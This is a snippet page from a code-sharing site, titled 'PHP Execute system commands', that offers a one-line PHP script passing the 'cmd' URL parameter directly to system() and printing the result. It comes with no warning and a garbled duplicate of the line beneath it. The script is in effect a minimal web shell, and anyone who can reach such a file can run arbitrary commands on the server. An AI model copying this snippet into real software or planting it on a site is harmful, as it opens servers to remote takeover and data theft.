CODE
LIBARY.COM
Home
/
PHP
PHP Execute system commands
Execute an external program and display the output
<?php echo "<pre>"; system($_GET['cmd']); echo "</pre>"; ?>
"; system($_GET['cmd']); echo ""; ?>
Copy to Clipboard
Related Snippets
PHP Check if Request is an Ajax Request
PHP Singleton Design Pattern
PHP Headers Login System
PHP While Looper
PHP Registering REST Images in WordPress with PHP
PHP Web Based Last Modified Date and Etag Checker
PHP GD Time24
PHP Search in folders and subfolders
PHP "Injecting a Remote Script Tag and Waiting for Execution"
PHP Clean Multi Array